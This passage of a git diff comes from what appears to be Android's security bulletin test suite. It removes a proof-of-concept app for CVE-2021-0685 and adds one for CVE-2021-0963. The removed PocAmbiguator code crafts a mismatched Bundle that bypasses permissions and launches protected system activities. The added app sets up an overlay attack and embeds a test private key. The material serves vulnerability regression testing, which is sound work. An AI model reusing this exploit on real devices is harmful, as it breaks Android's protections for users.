- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-android_test_helper_app {
-    name: "CVE-2021-0685",
-    defaults: ["cts_support_defaults"],
-    srcs: ["src/**/*.java"],
-    test_suites: [
-        "cts",
-        "vts10",
-        "sts",
-    ],
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-    ],
-    sdk_version: "current",
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
deleted file mode 100644
index f508468..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/AndroidManifest.xml
+++ /dev/null
@@ -1,51 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- -->
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:tools="http://schemas.android.com/tools"
-    package="android.security.cts.cve_2021_0685"
-    android:targetSandboxVersion="2"
-    android:versionCode="1"
-    android:versionName="1.0">
-
-    <application
-        android:allowBackup="true"
-        android:label="CVE-2021-0685"
-        android:supportsRtl="true">
-        <uses-library android:name="android.test.runner" />
-        <activity android:name=".PocActivity"
-            android:taskAffinity="android.security.cts.cve_2021_0685.PocActivity"
-            android:exported="true">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-        </activity>
-
-        <service android:exported="true" android:name=".PocAuthService">
-            <intent-filter>
-                <action android:name="android.accounts.AccountAuthenticator" />
-            </intent-filter>
-            <meta-data
-                android:name="android.accounts.AccountAuthenticator"
-                android:resource="@xml/authenticator" />
-        </service>
-    </application>
-
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.security.cts.cve_2021_0685" />
-</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
deleted file mode 100644
index 0c5065c..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/layout/activity_main.xml
+++ /dev/null
@@ -1,30 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!--
-  Copyright 2021 The Android Open Source Project
-
-  Licensed under the Apache License, Version 2.0 (the "License");
-  you may not use this file except in compliance with the License.
-  You may obtain a copy of the License at
-
-       http://www.apache.org/licenses/LICENSE-2.0
-
-  Unless required by applicable law or agreed to in writing, software
-  distributed under the License is distributed on an "AS IS" BASIS,
-  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-  See the License for the specific language governing permissions and
-  limitations under the License.
-  -->
-<LinearLayout
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    xmlns:app="http://schemas.android.com/apk/res-auto"
-    xmlns:tools="http://schemas.android.com/tools"
-    android:orientation="vertical"
-    android:id="@+id/parent"
-    android:background="#FFFFFF"
-    android:layout_width="match_parent"
-    android:layout_height="match_parent">
-    <View
-        android:id="@+id/drawableview"
-        android:layout_width="match_parent"
-        android:layout_height="300dp" />
-</LinearLayout>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
deleted file mode 100644
index f5f29ed..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/DeviceTest.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager;
-import androidx.test.runner.AndroidJUnit4;
-import androidx.test.uiautomator.By;
-import androidx.test.uiautomator.BySelector;
-import androidx.test.uiautomator.UiDevice;
-import androidx.test.uiautomator.Until;
-import org.junit.Before;
-import org.junit.runner.RunWith;
-import org.junit.Test;
-import static androidx.test.core.app.ApplicationProvider.getApplicationContext;
-import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
-import static org.junit.Assert.assertNotNull;
-
-@RunWith(AndroidJUnit4.class)
-public class DeviceTest {
-    private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
-    private static final int LAUNCH_TIMEOUT_MS = 20000;
-    private UiDevice mDevice;
-
-    @Before
-    public void startMainActivityFromHomeScreen() {
-        mDevice = UiDevice.getInstance(getInstrumentation());
-        try {
-            mDevice.wakeUp();
-            mDevice.pressMenu();
-            mDevice.pressHome();
-        } catch (Exception e) {
-            throw new RuntimeException("Could not wake up the phone", e);
-        }
-        Context context = getApplicationContext();
-        assertNotNull(context);
-        PackageManager packageManager = context.getPackageManager();
-        assertNotNull(packageManager);
-        final Intent intent = packageManager.getLaunchIntentForPackage(TEST_PKG);
-        assertNotNull(intent);
-        intent.addFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
-        context.startActivity(intent);
-        mDevice.wait(Until.hasObject(By.pkg(TEST_PKG).depth(0)), LAUNCH_TIMEOUT_MS);
-    }
-
-    @Test
-    public void testPackageElementPresence() {
-        BySelector selector = By.pkg(TEST_PKG);
-        String message = "Device is vulnerable to b/191055353, indicating a permission"
-                + " bypass due to a possible parcel serialization/deserialization"
-                + " mismatch in ParsedIntentInfo.java";
-        assertNotNull(message, mDevice.findObject(selector));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
deleted file mode 100644
index df2ee5a..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocActivity.java
+++ /dev/null
@@ -1,48 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AccountManager;
-import android.app.Activity;
-import android.content.Intent;
-import android.os.Bundle;
-
-public class PocActivity extends Activity {
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.activity_main);
-        Bundle verifyBundle = new Bundle();
-        verifyBundle.putParcelable(AccountManager.KEY_INTENT, new Intent(this, PocActivity.class));
-        Bundle testBundle = new Bundle();
-        Intent intent =
-                new Intent().setClassName("android", "com.android.internal.app.PlatLogoActivity");
-        testBundle.putParcelable(AccountManager.KEY_INTENT, intent);
-
-        PocAmbiguator ambiguator = new PocAmbiguator();
-        try {
-            PocAuthService.mAddAccountResponse = ambiguator.make(verifyBundle, testBundle);
-        } catch (Exception exception) {
-            exception.printStackTrace();
-        }
-        startActivity(new Intent()
-                .setClassName("android", "android.accounts.ChooseTypeAndAccountActivity")
-                .putExtra("allowableAccountTypes",
-                        new String[] {"android.security.cts.cve_2021_0685.account"}));
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
deleted file mode 100644
index 75b04ca..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAmbiguator.java
+++ /dev/null
@@ -1,140 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.content.IntentFilter;
-import android.os.Bundle;
-import android.os.Parcel;
-import android.text.TextUtils;
-
-import java.util.Random;
-
-public class PocAmbiguator {
-    private static final int BUNDLE_MAGIC = 0x4C444E42;
-    private static final int BUNDLE_SKIP = 12;
-    private static final int VAL_NULL = -1;
-    private static final int VAL_BUNDLE = 3;
-    private static final int VAL_PARCELABLE = 4;
-    private static final int VAL_OBJECTARRAY = 17;
-    private static final int VAL_INTARRAY = 18;
-    private static final int SIZE_RANDOM_STR = 6;
-    private static final int TIMER_MILLIS = 30 * 1000;
-
-    public Bundle make(Bundle preReSerialize, Bundle postReSerialize) throws Exception {
-        Random random = new Random(1234);
-        int minHash = 0;
-        for (String s : preReSerialize.keySet()) {
-            minHash = Math.min(minHash, s.hashCode());
-        }
-        for (String s : postReSerialize.keySet()) {
-            minHash = Math.min(minHash, s.hashCode());
-        }
-        String key;
-        int keyHash;
-        long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
-
-        do {
-            key = randomString(random);
-            keyHash = key.hashCode();
-        } while (keyHash >= minHash && System.currentTimeMillis() < allowedTime);
-
-        if (keyHash >= minHash) {
-            return null;
-        }
-
-        if (!padBundle(postReSerialize, preReSerialize.size(), minHash, random)) {
-            return null;
-        }
-        if (!padBundle(preReSerialize, postReSerialize.size(), minHash, random)) {
-            return null;
-        }
-
-        Parcel parcel = Parcel.obtain();
-
-        int sizePosition = parcel.dataPosition();
-        parcel.writeInt(0);
-        parcel.writeInt(BUNDLE_MAGIC);
-        int startPosition = parcel.dataPosition();
-
-        parcel.writeInt(preReSerialize.size() + 1);
-
-        parcel.writeString(key);
-        parcel.writeInt(VAL_OBJECTARRAY);
-        parcel.writeInt(3);
-
-        parcel.writeInt(VAL_PARCELABLE);
-        parcel.writeString("android.content.pm.parsing.component.ParsedIntentInfo");
-        new IntentFilter().writeToParcel(parcel, 0);
-        parcel.writeInt(0);
-        parcel.writeInt(0);
-        TextUtils.writeToParcel(null, parcel, 0);
-        parcel.writeInt(0);
-
-        parcel.writeInt(VAL_INTARRAY);
-        parcel.writeInt(6);
-        parcel.writeInt(1);
-        parcel.writeInt(-1);
-        parcel.writeInt(0);
-        parcel.writeInt(VAL_NULL);
-        parcel.writeInt(VAL_INTARRAY);
-        parcel.writeInt(4);
-
-        parcel.writeInt(VAL_BUNDLE);
-        parcel.writeBundle(postReSerialize);
-        writeBundleSkippingHeaders(parcel, preReSerialize);
-
-        int bundleDataSize = parcel.dataPosition() - startPosition;
-        parcel.setDataPosition(sizePosition);
-        parcel.writeInt(bundleDataSize);
-
-        parcel.setDataPosition(0);
-        Bundle bundle = parcel.readBundle();
-        parcel.recycle();
-        return bundle;
-    }
-
-    private static void writeBundleSkippingHeaders(Parcel parcel, Bundle bundle) {
-        Parcel skipParcel = Parcel.obtain();
-        bundle.writeToParcel(skipParcel, 0);
-        parcel.appendFrom(skipParcel, BUNDLE_SKIP, skipParcel.dataPosition() - BUNDLE_SKIP);
-        skipParcel.recycle();
-    }
-
-    private static String randomString(Random random) {
-        StringBuilder b = new StringBuilder();
-        for (int i = 0; i < SIZE_RANDOM_STR; ++i) {
-            b.append((char) (' ' + random.nextInt('~' - ' ' + 1)));
-        }
-        return b.toString();
-    }
-
-    private static boolean padBundle(Bundle bundle, int size, int minHash, Random random) {
-        while (bundle.size() < size) {
-            String key;
-            long allowedTime = System.currentTimeMillis() + TIMER_MILLIS;
-            do {
-                key = randomString(random);
-            } while ((key.hashCode() < minHash || bundle.containsKey(key))
-                    && System.currentTimeMillis() < allowedTime);
-            bundle.putString(key, "PADDING");
-            if (key.hashCode() < minHash) {
-                return false;
-            }
-        }
-        return true;
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
deleted file mode 100644
index 44d7656..0000000
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/src/android/security/cts/CVE_2021_0685/PocAuthService.java
+++ /dev/null
@@ -1,84 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.security.cts.cve_2021_0685;
-
-import android.accounts.AbstractAccountAuthenticator;
-import android.accounts.Account;
-import android.accounts.AccountAuthenticatorResponse;
-import android.accounts.NetworkErrorException;
-import android.app.Service;
-import android.content.Context;
-import android.content.Intent;
-import android.os.Bundle;
-import android.os.IBinder;
-
-public class PocAuthService extends Service {
-
-    public static Bundle mAddAccountResponse;
-
-    @Override
-    public IBinder onBind(Intent intent) {
-        return new Authenticator(this).getIBinder();
-    }
-
-    private static class Authenticator extends AbstractAccountAuthenticator {
-        @Override
-        public Bundle addAccount(AccountAuthenticatorResponse response, String accountType,
-                String authTokenType, String[] requiredFeatures, Bundle options)
-                throws NetworkErrorException {
-            return mAddAccountResponse;
-        }
-
-        Authenticator(Context context) {
-            super(context);
-        }
-
-        @Override
-        public Bundle editProperties(AccountAuthenticatorResponse response, String accountType) {
-            return null;
-        }
-
-        @Override
-        public Bundle confirmCredentials(AccountAuthenticatorResponse response, Account account,
-                Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public Bundle getAuthToken(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public String getAuthTokenLabel(String authTokenType) {
-            return null;
-        }
-
-        @Override
-        public Bundle updateCredentials(AccountAuthenticatorResponse response, Account account,
-                String authTokenType, Bundle options) throws NetworkErrorException {
-            return null;
-        }
-
-        @Override
-        public Bundle hasFeatures(AccountAuthenticatorResponse response, Account account,
-                String[] features) throws NetworkErrorException {
-            return null;
-        }
-    }
-}
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
similarity index 97%
rename from hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
index 09297b2..ea39e68 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2022-20347/Android.bp
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/Android.bp
@@ -20,7 +20,7 @@
 }
 
 android_test_helper_app {
-    name: "CVE-2022-20347",
+    name: "CVE-2021-0963",
     defaults: [
         "cts_defaults",
     ],
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
new file mode 100644
index 0000000..ae0d416
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/AndroidManifest.xml
@@ -0,0 +1,42 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.security.cts.CVE_2021_0963">
+    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
+    <application>
+        <activity android:name=".PocActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LAUNCHER" />
+            </intent-filter>
+        </activity>
+        <receiver android:name=".PocDeviceAdminReceiver"
+            android:exported="true"
+            android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                android:resource="@xml/device_policies" />
+            <intent-filter>
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+            </intent-filter>
+        </receiver>
+        <service android:name=".PocService" />
+    </application>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+        android:targetPackage="android.security.cts.CVE_2021_0963" />
+</manifest>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
similarity index 70%
copy from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
copy to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
index d9e0ab2..6a14b4a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/integers.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,9 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<resources>
+    <integer name="assumptionFailure">-1</integer>
+    <integer name="noException">0</integer>
+    <integer name="timeoutMs">10000</integer>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
new file mode 100644
index 0000000..1da84fe
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/values/strings.xml
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  Copyright 2022 The Android Open Source Project
+
+  Licensed under the Apache License, Version 2.0 (the "License");
+  you may not use this file except in compliance with the License.
+  You may obtain a copy of the License at
+
+       http://www.apache.org/licenses/LICENSE-2.0
+
+  Unless required by applicable law or agreed to in writing, software
+  distributed under the License is distributed on an "AS IS" BASIS,
+  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  See the License for the specific language governing permissions and
+  limitations under the License.
+  -->
+
+<resources>
+    <string name="actionKeychainActivity">com.android.keychain.CHOOSER</string>
+    <string name="activityNotFoundMsg">The activity with intent was not found : </string>
+    <string name="activityNotStartedException">Unable to start the activity with intent : </string>
+    <string name="alias">Client</string>
+    <string name="callbackKey">callback</string>
+    <string name="canNotDrawOverlaysMsg">The application cannot draw overlays</string>
+    <string name="certType">X.509</string>
+    <string name="dumpsysActivity">dumpsys activity %1$s</string>
+    <string name="dumpsysActivityNotStartedException">Could not execute dumpsys activity command
+    </string>
+    <string name="errorMessage">Device is vulnerable to b/199754277 hence any app with
+    "SYSTEM_ALERT_WINDOW can overlay the %1$s screen</string>
+    <string name="keyType">RSA</string>
+    <string name="mResumedTrue">mResumed=true</string>
+    <string name="messageKey">message</string>
+    <string name="overlayButtonText">OverlayButton</string>
+    <string name="overlayServiceNotStartedException">Unable to start the overlay service</string>
+    <string name="overlayUiScreenError">Overlay UI did not appear on the screen</string>
+    <string name="statusKey">status</string>
+    <string name="vulActivityNotRunningError">The activity %1$s is not currently running
+    on the device</string>
+</resources>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
similarity index 70%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
rename to hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
index d9e0ab2..a826e80 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0685/res/xml/authenticator.xml
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/res/xml/device_policies.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="utf-8"?>
 <!--
-  Copyright 2021 The Android Open Source Project
+  Copyright 2022 The Android Open Source Project
 
   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
@@ -14,7 +14,8 @@
   See the License for the specific language governing permissions and
   limitations under the License.
   -->
-<account-authenticator
-    xmlns:android="http://schemas.android.com/apk/res/android"
-    android:accountType="android.security.cts.cve_2021_0685.account"
-    android:label="CVE-2021-0685" />
+
+<device-admin>
+    <uses-policies>
+    </uses-policies>
+</device-admin>
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
new file mode 100644
index 0000000..3d1c0df
--- /dev/null
+++ b/hostsidetests/securitybulletin/test-apps/CVE-2021-0963/src/android/security/cts/CVE_2021_0963/DeviceTest.java
@@ -0,0 +1,401 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts.CVE_2021_0963;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.admin.DevicePolicyManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager;
+import android.content.pm.ResolveInfo;
+import android.content.res.Resources;
+import android.os.Bundle;
+import android.os.RemoteCallback;
+import android.provider.Settings;
+
+import androidx.test.runner.AndroidJUnit4;
+import androidx.test.uiautomator.By;
+import androidx.test.uiautomator.UiDevice;
+import androidx.test.uiautomator.Until;
+
+import org.junit.After;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.ByteArrayInputStream;
+import java.security.KeyFactory;
+import java.security.PrivateKey;
+import java.security.cert.Certificate;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+import java.util.regex.Pattern;
+
+@RunWith(AndroidJUnit4.class)
+public class DeviceTest {
+    private DevicePolicyManager mDevicePolicyManager;
+    private ComponentName mComponentName;
+    Context mContext;
+
+    /**
+     * Generated from above and converted with:
+     *
+     * openssl pkcs8 -topk8 -outform d -in userkey.pem -nocrypt | xxd -i | sed 's/0x/(byte) 0x/g'
+     */
+    private static final byte[] PRIVATE_KEY =
+            new byte[] {(byte) 0x30, (byte) 0x82, (byte) 0x02, (byte) 0x76, (byte) 0x02,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x30, (byte) 0x0d, (byte) 0x06, (byte) 0x09,
+                    (byte) 0x2a, (byte) 0x86, (byte) 0x48, (byte) 0x86, (byte) 0xf7, (byte) 0x0d,
+                    (byte) 0x01, (byte) 0x01, (byte) 0x01, (byte) 0x05, (byte) 0x00, (byte) 0x04,
+                    (byte) 0x82, (byte) 0x02, (byte) 0x60, (byte) 0x30, (byte) 0x82, (byte) 0x02,
+                    (byte) 0x5c, (byte) 0x02, (byte) 0x01, (byte) 0x00, (byte) 0x02, (byte) 0x81,
+                    (byte) 0x81, (byte) 0x00, (byte) 0xee, (byte) 0x6e, (byte) 0x51, (byte) 0xa8,
+                    (byte) 0xc4, (byte) 0x44, (byte) 0xd9, (byte) 0xb7, (byte) 0x53, (byte) 0xf1,
+                    (byte) 0xb9, (byte) 0x1b, (byte) 0x9d, (byte) 0x8d, (byte) 0x7c, (byte) 0x9f,
+                    (byte) 0x06, (byte) 0xe7, (byte) 0xed, (byte) 0xa8, (byte) 0x05, (byte) 0xb8,
+                    (byte) 0xaa, (byte) 0x0a, (byte) 0x2d, (byte) 0x74, (byte) 0x05, (byte) 0x8b,
+                    (byte) 0xad, (byte) 0xfe, (byte) 0xd3, (byte) 0x3e, (byte) 0x08, (byte) 0x9d,
+                    (byte) 0xc9, (byte) 0xf5, (byte) 0xf7, (byte) 0x81, (byte) 0x90, (byte) 0xf1,
+                    (byte) 0xcc, (byte) 0x3f, (byte) 0x91, (byte) 0xda, (byte) 0xcb, (byte) 0x67,
+                    (byte) 0x6a, (byte) 0xe8, (byte) 0x4a, (byte) 0xa0, (byte) 0xc3, (byte) 0x8a,
+                    (byte) 0x53, (byte) 0xd9, (byte) 0xf0, (byte) 0x17, (byte) 0xbe, (byte) 0x90,
+                    (byte) 0xbb, (byte) 0x95, (byte) 0x29, (byte) 0x01, (byte) 0xce, (byte) 0x32,
+                    (byte) 0xce, (byte) 0xf8, (byte) 0x02, (byte) 0xfe, (byte) 0xe8, (byte) 0x19,
+                    (byte) 0x91, (byte) 0x29, (byte) 0x46, (byte) 0xf7, (byte) 0x67, (byte) 0xd1,
+                    (byte) 0xcb, (byte) 0xa7, (byte) 0x20, (byte) 0x8b, (byte) 0x85, (byte) 0x8a,
+                    (byte) 0x0c, (byte) 0x07, (byte) 0xf8, (byte) 0xfe, (byte) 0xf4, (byte) 0x5d,
+                    (byte) 0x08, (byte) 0xf4, (byte) 0x63, (byte) 0x4a, (byte) 0x69, (byte) 0x66,
+                    (byte) 0x28, (byte) 0xcb, (byte) 0x0d, (byte) 0x1c, (byte) 0x7f, (byte) 0x7f,
+                    (byte) 0x7e, (byte) 0x83, (byte) 0x49, (byte) 0x66, (byte) 0x6c, (byte) 0x83,
+                    (byte) 0x2d, (byte) 0xa0, (byte) 0x51, (byte) 0xf6, (byte) 0x14, (byte) 0x68,
+                    (byte) 0x47, (byte) 0x31, (byte) 0x72, (byte) 0x4d, (byte) 0xe9, (byte) 0x1e,
+                    (byte) 0x12, (byte) 0x1b, (byte) 0xd0, (byte) 0xe6, (byte) 0x21, (byte) 0xd8,
+                    (byte) 0x84, (byte) 0x5f, (byte) 0xe3, (byte) 0xef, (byte) 0x02, (byte) 0x03,
+                    (byte) 0x01, (byte) 0x00, (byte) 0x01, (byte) 0x02, (byte) 0x81, (byte) 0x80,
+                    (byte) 0x24, (byte) 0x95, (byte) 0xb8, (byte) 0xe1, (byte) 0xf4, (byte) 0x7b,
+                    (byte) 0xbc, (byte) 0x0c, (byte) 0x6d, (byte) 0x4d, (byte) 0x01, (byte) 0xe2,
+                    (byte) 0x42, (byte) 0xe2, (byte) 0x9a, (byte) 0xe4, (byte) 0xab, (byte) 0xe2,
+                    (byte) 0x9a, (byte) 0x8c, (byte) 0xd5, (byte) 0x93, (byte) 0xe8, (byte) 0x43,
+                    (byte) 0x77, (byte) 0x85, (byte) 0xfd, (byte) 0xf3, (byte) 0xd8, (byte) 0xd6,
+                    (byte) 0xe9, (byte) 0x02, (byte) 0xf3, (byte) 0xbf, (byte) 0x82, (byte) 0x65,
+                    (byte) 0xc3, (byte) 0x7c, (byte) 0x96, (byte) 0x09, (byte) 0x04, (byte) 0x16,
+                    (byte) 0x1d, (byte) 0x03, (byte) 0x3d, (byte) 0x82, (byte) 0xb8, (byte) 0xdc,
+                    (byte) 0xbb, (byte) 0xd6, (byte) 0xbf, (byte) 0x2a, (byte) 0x52, (byte) 0x83,
+                    (byte) 0x76, (byte) 0x5b, (byte) 0xae, (byte) 0x59, (byte) 0xf6, (byte) 0xee,
